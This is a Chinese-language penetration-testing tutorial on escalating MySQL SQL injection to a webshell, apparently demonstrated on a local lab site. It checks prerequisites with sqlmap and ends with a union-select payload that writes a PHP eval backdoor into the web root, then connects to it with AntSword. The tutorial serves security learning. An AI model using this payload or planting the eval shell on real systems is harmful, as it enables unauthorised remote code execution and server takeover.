从SQL注入到getshell
一、SQL注入getshell的条件
MySQL数据库getshell条件是很苛刻的,必须满足以下几个条件:
1、必须知道网站的绝对路径
2、要有file权限,默认情况下只有root有,也就是DBA为true
3、PHP的魔术引号(magic_quotes_gpc)没有开启
4、MySQL的secure_file_priv变量的值为空(empty)
二、实战演练讲解
1、绝对路径
可以通过报错、phpinfo界面、404界面等一些方式知道
也可以通过@@basedir(指定了安装 MySQL 的安装路径)、@@datadir(指定了 MySQL 的数据库文件放在什么路径下)来推测出绝对路径
但最好还是使它报错得出绝对路径,这样的话比较准确点
2、File权限
可以通过SQLMap工具的--is-dba选项来查询,必须DBA:True
python sqlmap.py -u http://www.t.com:8000/testMySql/edit.php?id=1 --is-dba
3、魔术引号(magic_quotes_gpc)
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
在magic_quotes_gpc = On的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。
可以通过测试特殊字符是否被转义,phpinfo页面等一些方式来知道
如果是PHP 5.4.45版本以上的话可以不用考虑这个,因为早就移除了,压根找不到
4、secure_file_priv为空(empty)
secure-file-priv参数是用来限制LOAD DATA,SELECT ... OUTFILE,and LOAD_FILE()传到哪个指定目录的。
- 当secure_file_priv的值为null ,表示限制mysql不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysql的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysql的导入|导出做限制
如果是MySQL5.5.53版本以下的话可以不用考虑这个,因为默认都是空。
如果是MySQL5.5.53版本以上的(包括5.5.53),此变量默认为NULL。
因为我这个MySQL5.7.11版本默认为NULL,所以我需要修改下
三、Getshell
order by 4页面正常
order by 5页面异常,猜测这里有4个字段
构成payload
union select 1,2,3,'<?php @eval($_REQUEST[6])?>' into dumpfile 'E:/wamp/www/t.com/testMySql/6.php'
访问http://www.t.com:8000/testMySql/6.php
输出phpinfo界面,http://www.t.com:8000/testMySql/6.php?6=phpinfo();
中国蚁剑连接http://www.t.com:8000/testMySql/6.php,成功getshell
声明:请勿用作违法用途,请在授权情况下使用